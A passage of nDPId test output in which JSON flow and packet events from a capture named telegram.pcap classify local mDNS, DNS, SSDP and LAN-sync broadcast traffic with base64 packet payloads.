QAAEAABGUABoObW9kZWw9aU1hYzExLDMKb3N4dmVycz0xN8BUAAGAAQAAAHgABMCoAU0="} +00557{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":11,"source":"telegram.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1588779597291,"flow_last_seen":0,"flow_tot_l4_data_len":286,"flow_min_l4_data_len":286,"flow_max_l4_data_len":286,"flow_avg_l4_data_len":286,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.75","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_companion-link._tcp.local"}} +00569{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779597,"pkt_ts_usec":511254,"pkt_caplen":169,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":169,"pkt_l4_len":135,"pkt":"AQBeAAD7jP5XIzfkCABFAACbIpQAAP8R9c7AqAFL4AAA+xTpFOkAh0T\/AAAAAAABAAAAAQABHGlUdW5lc19DdHJsXzRBQkIzOUE0MUVFRkRFQjMFX2RhY3AEX3RjcAVsb2NhbAAA\/wABwAwAIQABAAAAeAAXAAAAAMcjDkdhYnJpZWxlcy1pUGFkwDQAACkFoAAAEZQAEgAEAA4A2q7+VyM35Iz+VyM35A=="} +00596{"flow_id":6,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779597,"pkt_ts_usec":511362,"pkt_caplen":189,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":189,"pkt_l4_len":135,"pkt":"MzMAAAD7jP5XIzfkht1gD8IfAIcR\/\/6AAAAAAAAABLoJGngX4xj\/AgAAAAAAAAAAAAAAAAD7FOkU6QCHgGsAAAAAAAEAAAABAAEcaVR1bmVzX0N0cmxfNEFCQjM5QTQxRUVGREVCMwVfZGFjcARfdGNwBWxvY2FsAAD\/AAHADAAhAAEAAAB4ABcAAAAAxyMOR2FicmllbGVzLWlQYWTANAAAKQWgAAARlAASAAQADgDarv5XIzfkjP5XIzfk"} +00544{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779597,"pkt_ts_usec":760485,"pkt_caplen":153,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":153,"pkt_l4_len":119,"pkt":"AQBeAAD7jP5XIzfkCABFAACLhdQAAP8Rkp7AqAFL4AAA+xTpFOkAd9R+AAAAAAABAAAAAgABDkdhYnJpZWxlcy1pUGFkBWxvY2FsAAD\/gAHADAAcAAEAAAB4ABD+gAAAAAAAAAS6CRp4F+MYwAwAAQABAAAAeAAEwKgBSwAAKQWgAAARlAASAAQADgDarv5XIzfkjP5XIzfk"} +00577{"flow_id":6,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779597,"pkt_ts_usec":760702,"pkt_caplen":173,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":173,"pkt_l4_len":119,"pkt":"MzMAAAD7jP5XIzfkht1gD8IfAHcR\/\/6AAAAAAAAABLoJGngX4xj\/AgAAAAAAAAAAAAAAAAD7FOkU6QB3D+sAAAAAAAEAAAACAAEOR2FicmllbGVzLWlQYWQFbG9jYWwAAP+AAcAMABwAAQAAAHgAEP6AAAAAAAAABLoJGngX4xjADAABAAEAAAB4AATAqAFLAAApBaAAABGUABIABAAOANqu\/lcjN+SM\/lcjN+Q="} +00569{"flow_id":5,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779597,"pkt_ts_usec":863294,"pkt_caplen":169,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":169,"pkt_l4_len":135,"pkt":"AQBeAAD7jP5XIzfkCABFAACbny4AAP8ReTTAqAFL4AAA+xTpFOkAh0T\/AAAAAAABAAAAAQABHGlUdW5lc19DdHJsXzRBQkIzOUE0MUVFRkRFQjMFX2RhY3AEX3RjcAVsb2NhbAAA\/wABwAwAIQABAAAAeAAXAAAAAMcjDkdhYnJpZWxlcy1pUGFkwDQAACkFoAAAEZQAEgAEAA4A2q7+VyM35Iz+VyM35A=="} +00596{"flow_id":6,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779597,"pkt_ts_usec":863339,"pkt_caplen":189,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":189,"pkt_l4_len":135,"pkt":"MzMAAAD7jP5XIzfkht1gD8IfAIcR\/\/6AAAAAAAAABLoJGngX4xj\/AgAAAAAAAAAAAAAAAAD7FOkU6QCHgGsAAAAAAAEAAAABAAEcaVR1bmVzX0N0cmxfNEFCQjM5QTQxRUVGREVCMwVfZGFjcARfdGNwBWxvY2FsAAD\/AAHADAAhAAEAAAB4ABcAAAAAxyMOR2FicmllbGVzLWlQYWTANAAAKQWgAAARlAASAAQADgDarv5XIzfkjP5XIzfk"} +00544{"flow_id":5,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779598,"pkt_ts_usec":16057,"pkt_caplen":153,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":153,"pkt_l4_len":119,"pkt":"AQBeAAD7jP5XIzfkCABFAACLw3kAAP8RVPnAqAFL4AAA+xTpFOkAd1R\/AAAAAAABAAAAAgABDkdhYnJpZWxlcy1pUGFkBWxvY2FsAAD\/AAHADAAcAAEAAAB4ABD+gAAAAAAAAAS6CRp4F+MYwAwAAQABAAAAeAAEwKgBSwAAKQWgAAARlAASAAQADgDarv5XIzfkjP5XIzfk"} +00576{"flow_id":6,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779598,"pkt_ts_usec":16653,"pkt_caplen":173,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":173,"pkt_l4_len":119,"pkt":"MzMAAAD7jP5XIzfkht1gD8IfAHcR\/\/6AAAAAAAAABLoJGngX4xj\/AgAAAAAAAAAAAAAAAAD7FOkU6QB3j+sAAAAAAAEAAAACAAEOR2FicmllbGVzLWlQYWQFbG9jYWwAAP8AAcAMABwAAQAAAHgAEP6AAAAAAAAABLoJGngX4xjADAABAAEAAAB4AATAqAFLAAApBaAAABGUABIABAAOANqu\/lcjN+SM\/lcjN+Q="} +00623{"flow_id":5,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779598,"pkt_ts_usec":120938,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AQBeAAD7jP5XIzfkCABFAADF7nQAAP8RKcTAqAFL4AAA+xTpFOkAsS9YAACEAAAAAAMAAAACHGlUdW5lc19DdHJsXzRBQkIzOUE0MUVFRkRFQjMFX2RhY3AEX3RjcAVsb2NhbAAAEIABAAARlAABAMApAAwAAQAAEZQAAsAMwAwAIYABAAAAeAAXAAAAAMcjDkdhYnJpZWxlcy1pUGFkwDTADAAvgAEAABGUAAnADAAFAACAAEAAACkFoAAAEZQAEgAEAA4A2q7+VyM35Iz+VyM35A=="} +00651{"flow_id":6,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779598,"pkt_ts_usec":121460,"pkt_caplen":231,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":231,"pkt_l4_len":177,"pkt":"MzMAAAD7jP5XIzfkht1gD8IfALER\/\/6AAAAAAAAABLoJGngX4xj\/AgAAAAAAAAAAAAAAAAD7FOkU6QCxasQAAIQAAAAAAwAAAAIcaVR1bmVzX0N0cmxfNEFCQjM5QTQxRUVGREVCMwVfZGFjcARfdGNwBWxvY2FsAAAQgAEAABGUAAEAwCkADAABAAARlAACwAzADAAhgAEAAAB4ABcAAAAAxyMOR2FicmllbGVzLWlQYWTANMAMAC+AAQAAEZQACcAMAAUAAIAAQAAAKQWgAAARlAASAAQADgDarv5XIzfkjP5XIzfk"} +00587{"flow_id":5,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779598,"pkt_ts_usec":262309,"pkt_caplen":184,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":184,"pkt_l4_len":150,"pkt":"AQBeAAD7jP5XIzfkCABFAACqi7MAAP8RjKDAqAFL4AAA+xTpFOkAloOLAAAAAAACAAIAAAABD19jb21wYW5pb24tbGluawRfdGNwBWxvY2FsAAAMAAEIX2hvbWVraXTAHAAMAAHADAAMAAEAABGUABANTHVjYeKAmXMgaU1hY8AMwAwADAABAAARlAAOC0x1Y2EncyBpUGFkwAwAACkFoAAAEZQAEgAEAA4A2q7+VyM35Iz+VyM35A=="} +00615{"flow_id":6,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779598,"pkt_ts_usec":262350,"pkt_caplen":204,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":204,"pkt_l4_len":150,"pkt":"MzMAAAD7jP5XIzfkht1gD8IfAJYR\/\/6AAAAAAAAABLoJGngX4xj\/AgAAAAAAAAAAAAAAAAD7FOkU6QCWvvcAAAAAAAIAAgAAAAEPX2NvbXBhbmlvbi1saW5rBF90Y3AFbG9jYWwAAAwAAQhfaG9tZWtpdMAcAAwAAcAMAAwAAQAAEZQAEA1MdWNh4oCZcyBpTWFjwAzADAAMAAEAABGUAA4LTHVjYSdzIGlQYWTADAAAKQWgAAARlAASAAQADgDarv5XIzfkjP5XIzfk"} +00754{"flow_id":5,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779598,"pkt_ts_usec":264958,"pkt_caplen":308,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":308,"pkt_l4_len":274,"pkt":"AQBeAAD7jP5XIzfkCABFAAEmz4wAAP8RSEvAqAFL4AAA+xTpFOkBEl+aAACEAAAAAAMAAAADCV9zZXJ2aWNlcwdfZG5zLXNkBF91ZHAFbG9jYWwAAAwAAQAAEZQADQVfZGFjcARfdGNwwCMBOAExATMBRQE3ATEBOAE3AUEBMQE5ATABQQFCATQBMAEwATABMAEwATABMAEwATABMAEwATABMAEwATgBRQFGA2lwNgRhcnBhAAAMgAEAAAB4ABEOR2FicmllbGVzLWlQYWTAIwI3NQExAzE2OAMxOTIHaW4tYWRkcsCFAAyAAQAAAHgAAsCVwEEAL4ABAAAAeAAGwEEAAgAIwKYAL4ABAAAAeAAGwKYAAgAIAAApBaAAABGUABIABAAOANqu\/lcjN+SM\/lcjN+Q="} +00784{"flow_id":6,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779598,"pkt_ts_usec":264995,"pkt_caplen":328,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":328,"pkt_l4_len":274,"pkt":"MzMAAAD7jP5XIzfkht1gD8IfARIR\/\/6AAAAAAAAABLoJGngX4xj\/AgAAAAAAAAAAAAAAAAD7FOkU6QESmwYAAIQAAAAAAwAAAAMJX3NlcnZpY2VzB19kbnMtc2QEX3VkcAVsb2NhbAAADAABAAARlAANBV9kYWNwBF90Y3DAIwE4ATEBMwFFATcBMQE4ATcBQQExATkBMAFBAUIBNAEwATABMAEwATABMAEwATABMAEwATABMAEwATABOAFFAUYDaXA2BGFycGEAAAyAAQAAAHgAEQ5HYWJyaWVsZXMtaVBhZMAjAjc1ATEDMTY4AzE5Mgdpbi1hZGRywIUADIABAAAAeAACwJXAQQAvgAEAAAB4AAbAQQACAAjApgAvgAEAAAB4AAbApgACAAgAACkFoAAAEZQAEgAEAA4A2q7+VyM35Iz+VyM35A=="} +00546{"flow_id":5,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779598,"pkt_ts_usec":367120,"pkt_caplen":153,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":153,"pkt_l4_len":119,"pkt":"AQBeAAD7jP5XIzfkCABFAACLFGwAAP8RBAfAqAFL4AAA+xTpFOkAd1R\/AAAAAAABAAAAAgABDkdhYnJpZWxlcy1pUGFkBWxvY2FsAAD\/AAHADAAcAAEAAAB4ABD+gAAAAAAAAAS6CRp4F+MYwAwAAQABAAAAeAAEwKgBSwAAKQWgAAARlAASAAQADgDarv5XIzfkjP5XIzfk"} +00578{"flow_id":6,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779598,"pkt_ts_usec":367597,"pkt_caplen":173,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":173,"pkt_l4_len":119,"pkt":"MzMAAAD7jP5XIzfkht1gD8IfAHcR\/\/6AAAAAAAAABLoJGngX4xj\/AgAAAAAAAAAAAAAAAAD7FOkU6QB3j+sAAAAAAAEAAAACAAEOR2FicmllbGVzLWlQYWQFbG9jYWwAAP8AAcAMABwAAQAAAHgAEP6AAAAAAAAABLoJGngX4xjADAABAAEAAAB4AATAqAFLAAApBaAAABGUABIABAAOANqu\/lcjN+SM\/lcjN+Q="} +00568{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779598,"pkt_ts_usec":465955,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"AQBef\/\/6wJrQLWJ0CABFAACa8TAAAAERFkvAqAE17\/\/\/+tQiB2wAhkPyTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMQ0KU1Q6IHVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KDQoA"} +00566{"flow_id":5,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779598,"pkt_ts_usec":619620,"pkt_caplen":167,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":167,"pkt_l4_len":133,"pkt":"AQBeAAD7jP5XIzfkCABFAACZz9MAAP8RSJHAqAFL4AAA+xTpFOkAhVCYAACEAAAAAAIAAAACDkdhYnJpZWxlcy1pUGFkBWxvY2FsAAAcgAEAAAB4ABD+gAAAAAAAAAS6CRp4F+MYwAwAAYABAAAAeAAEwKgBS8AMAC+AAQAAAHgACMAMAARAAAAIAAApBaAAABGUABIABAAOANqu\/lcjN+SM\/lcjN+Q="} +00596{"flow_id":6,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779598,"pkt_ts_usec":620094,"pkt_caplen":187,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":187,"pkt_l4_len":133,"pkt":"MzMAAAD7jP5XIzfkht1gD8IfAIUR\/\/6AAAAAAAAABLoJGngX4xj\/AgAAAAAAAAAAAAAAAAD7FOkU6QCFjAQAAIQAAAAAAgAAAAIOR2FicmllbGVzLWlQYWQFbG9jYWwAAByAAQAAAHgAEP6AAAAAAAAABLoJGngX4xjADAABgAEAAAB4AATAqAFLwAwAL4ABAAAAeAAIwAwABEAAAAgAACkFoAAAEZQAEgAEAA4A2q7+VyM35Iz+VyM35A=="} +00710{"flow_id":5,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779599,"pkt_ts_usec":125791,"pkt_caplen":275,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":275,"pkt_l4_len":241,"pkt":"AQBeAAD7jP5XIzfkCABFAAEFrJcAAP8Ra2HAqAFL4AAA+xTpFOkA8YKfAACEAAAAAAUAAAADHGlUdW5lc19DdHJsXzRBQkIzOUE0MUVFRkRFQjMFX2RhY3AEX3RjcAVsb2NhbAAAEIABAAARlAABAMApAAwAAQAAEZQAAsAMwAwAIYABAAAAeAAXAAAAAMcjDkdhYnJpZWxlcy1pUGFkwDTAZgAcgAEAAAB4ABD+gAAAAAAAAAS6CRp4F+MYwGYAAYABAAAAeAAEwKgBS8AMAC+AAQAAEZQACcAMAAUAAIAAQMBmAC+AAQAAAHgACMBmAARAAAAIAAApBaAAABGUABIABAAOANqu\/lcjN+SM\/lcjN+Q="} +00740{"flow_id":6,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779599,"pkt_ts_usec":126344,"pkt_caplen":295,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":295,"pkt_l4_len":241,"pkt":"MzMAAAD7jP5XIzfkht1gD8IfAPER\/\/6AAAAAAAAABLoJGngX4xj\/AgAAAAAAAAAAAAAAAAD7FOkU6QDxvgsAAIQAAAAABQAAAAMcaVR1bmVzX0N0cmxfNEFCQjM5QTQxRUVGREVCMwVfZGFjcARfdGNwBWxvY2FsAAAQgAEAABGUAAEAwCkADAABAAARlAACwAzADAAhgAEAAAB4ABcAAAAAxyMOR2FicmllbGVzLWlQYWTANMBmAByAAQAAAHgAEP6AAAAAAAAABLoJGngX4xjAZgABgAEAAAB4AATAqAFLwAwAL4ABAAARlAAJwAwABQAAgABAwGYAL4ABAAAAeAAIwGYABEAAAAgAACkFoAAAEZQAEgAEAA4A2q7+VyM35Iz+VyM35A=="} +00532{"flow_id":5,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779600,"pkt_ts_usec":214804,"pkt_caplen":142,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":142,"pkt_l4_len":108,"pkt":"AQBeAAD7jP5XIzfkCABFAACAMbcAAP8R5sbAqAFL4AAA+xTpFOkAbODIAACEAAAAAAEAAAABBV9kYWNwBF90Y3AFbG9jYWwAAAwAAQAAAAAAHxxpVHVuZXNfQ3RybF80QUJCMzlBNDFFRUZERUIzwAwAACkFoAAAEZQAEgAEAA4A2q7+VyM35Iz+VyM35A=="} +00560{"flow_id":6,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779600,"pkt_ts_usec":214854,"pkt_caplen":162,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":162,"pkt_l4_len":108,"pkt":"MzMAAAD7jP5XIzfkht1gD8IfAGwR\/\/6AAAAAAAAABLoJGngX4xj\/AgAAAAAAAAAAAAAAAAD7FOkU6QBsHDUAAIQAAAAAAQAAAAEFX2RhY3AEX3RjcAVsb2NhbAAADAABAAAAAAAfHGlUdW5lc19DdHJsXzRBQkIzOUE0MUVFRkRFQjPADAAAKQWgAAARlAASAAQADgDarv5XIzfkjP5XIzfk"} +00655{"flow_id":5,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779600,"pkt_ts_usec":739288,"pkt_caplen":233,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":233,"pkt_l4_len":199,"pkt":"AQBeAAD7jP5XIzfkCABFAADbJxEAAP8R8RHAqAFL4AAA+xTpFOkAx\/KHAAAAAAAFAAAAAQABD19jb21wYW5pb24tbGluawRfdGNwBWxvY2FsAAAMgAEIX2hvbWVraXTAHAAMgAEIX2FpcnBsYXnAHAAMgAEFX3Jhb3DAHAAMgAEcaVR1bmVzX0N0cmxfNEFCQjM5QTQxRUVGREVCMwVfZGFjcMAcAP+AAcBWACEAAQAAAHgAFwAAAADHIw5HYWJyaWVsZXMtaVBhZMAhAAApBaAAABGUABIABAAOANuu\/lcjN+SM\/lcjN+Q="} +00685{"flow_id":6,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779600,"pkt_ts_usec":739491,"pkt_caplen":253,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":253,"pkt_l4_len":199,"pkt":"MzMAAAD7jP5XIzfkht1gD8IfAMcR\/\/6AAAAAAAAABLoJGngX4xj\/AgAAAAAAAAAAAAAAAAD7FOkU6QDHLfQAAAAAAAUAAAABAAEPX2NvbXBhbmlvbi1saW5rBF90Y3AFbG9jYWwAAAyAAQhfaG9tZWtpdMAcAAyAAQhfYWlycGxhecAcAAyAAQVfcmFvcMAcAAyAARxpVHVuZXNfQ3RybF80QUJCMzlBNDFFRUZERUIzBV9kYWNwwBwA\/4ABwFYAIQABAAAAeAAXAAAAAMcjDkdhYnJpZWxlcy1pUGFkwCEAACkFoAAAEZQAEgAEAA4A267+VyM35Iz+VyM35A=="} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":39,"source":"telegram.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1588779600828,"flow_last_seen":0,"flow_tot_l4_data_len":50,"flow_min_l4_data_len":50,"flow_max_l4_data_len":50,"flow_avg_l4_data_len":50,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.1","src_port":61631,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00449{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779600,"pkt_ts_usec":828022,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"EBMx8Tl2KDc3AG3ICABFAABGiX4AAP8RronAqAFNwKgBAfC\/ADUAMkhio9MBAAABAAAAAAAABWU3MDQ3A2UxMgpha2FtYWllZGdlA25ldAAAAQAB"} +00642{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":39,"source":"telegram.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1588779600828,"flow_last_seen":0,"flow_tot_l4_data_len":50,"flow_min_l4_data_len":50,"flow_max_l4_data_len":50,"flow_avg_l4_data_len":50,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.1","src_port":61631,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"e7047.e12.akamaiedge.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00768{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779600,"pkt_ts_usec":838194,"pkt_caplen":320,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":320,"pkt_l4_len":286,"pkt":"jP5XIzfkKDc3AG3ICABFAAEyb04AAP8Rx4PAqAFNwKgBSxTpFOkBHhkOAACEAAAAAAEAAAAED19jb21wYW5pb24tbGluawRfdGNwBWxvY2FsAAAMAAEAABGUABANTHVjYeKAmXMgaU1hY8AMwDIAIYABAAAAeAATAAAAAMAFCkx1Y2FzLWlNYWPAIcAyABCAAQAAEZQAWBZycEJBPTM5OjJBOjg4OkFDOjQxOkFCCnJwVnI9MTUyLjERcnBIST1mOWM0NmM2ZGQwN2QRcnBITj0zYzVkYzVjZTk1NzgRcnBIQT04Y2E4Y2I3MzFjMWMNTHVjYeKAmXMgaU1hYwxfZGV2aWNlLWluZm\/AHAAQAAEAABGUABoObW9kZWw9aU1hYzExLDMKb3N4dmVycz0xN8BUAAGAAQAAAHgABMCoAU0="} +00475{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779600,"pkt_ts_usec":842525,"pkt_caplen":100,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":100,"pkt_l4_len":66,"pkt":"KDc3AG3IEBMx8Tl2CABFAABWE2lAADkRqo\/AqAEBwKgBTQA18L8AQgAAo9OBgAABAAEAAAAABWU3MDQ3A2UxMgpha2FtYWllZGdlA25ldAAAAQABwAwAAQABAAAAFAAEXHr3XA=="} +00669{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":41,"source":"telegram.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":2,"flow_first_seen":1588779600828,"flow_last_seen":1588779600842,"flow_tot_l4_data_len":116,"flow_min_l4_data_len":50,"flow_max_l4_data_len":66,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.1","src_port":61631,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"e7047.e12.akamaiedge.net","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"92.122.247.92"}} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":44,"source":"telegram.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1588779601222,"flow_last_seen":0,"flow_tot_l4_data_len":472,"flow_min_l4_data_len":472,"flow_max_l4_data_len":472,"flow_avg_l4_data_len":472,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01028{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779601,"pkt_ts_usec":222806,"pkt_caplen":506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":506,"pkt_l4_len":472,"pkt":"\/\/\/\/\/\/\/\/KDc3AG3ICABFAAHsBFEAAEARsrvAqAFN\/\/\/\/\/0RcRFwB2FvpeyJ2ZXJzaW9uIjogWzIsIDBdLCAicG9ydCI6IDE3NTAwLCAiaG9zdF9pbnQiOiA0MDk1NjMzNTA1MDQ3NDIyMDI0ODQ4MjA1NjAzMDgyNTQwNDYyOSwgImRpc3BsYXluYW1lIjogIiIsICJuYW1lc3BhY2VzIjogWzUzMDMzMDEyNDgsIDc4NTI2NjE3NywgMTUyNjI2MzA0NSwgMjg1MjE2MDcsIDE0ODE5MzM3LCA0NTE0NzI2NTgsIDczNjM0MTUyOCwgOTM4ODEzODQ5LCAyNzUwMzcwNTYwLCAxMjY3Njk1MTA5LCA1NDQwNDA3MDcyLCA1ODM0NDk5NiwgNDA1NjQ2MjU5MiwgNzA1MzYyNzE4NCwgMTUyMjE3NzU4NywgMT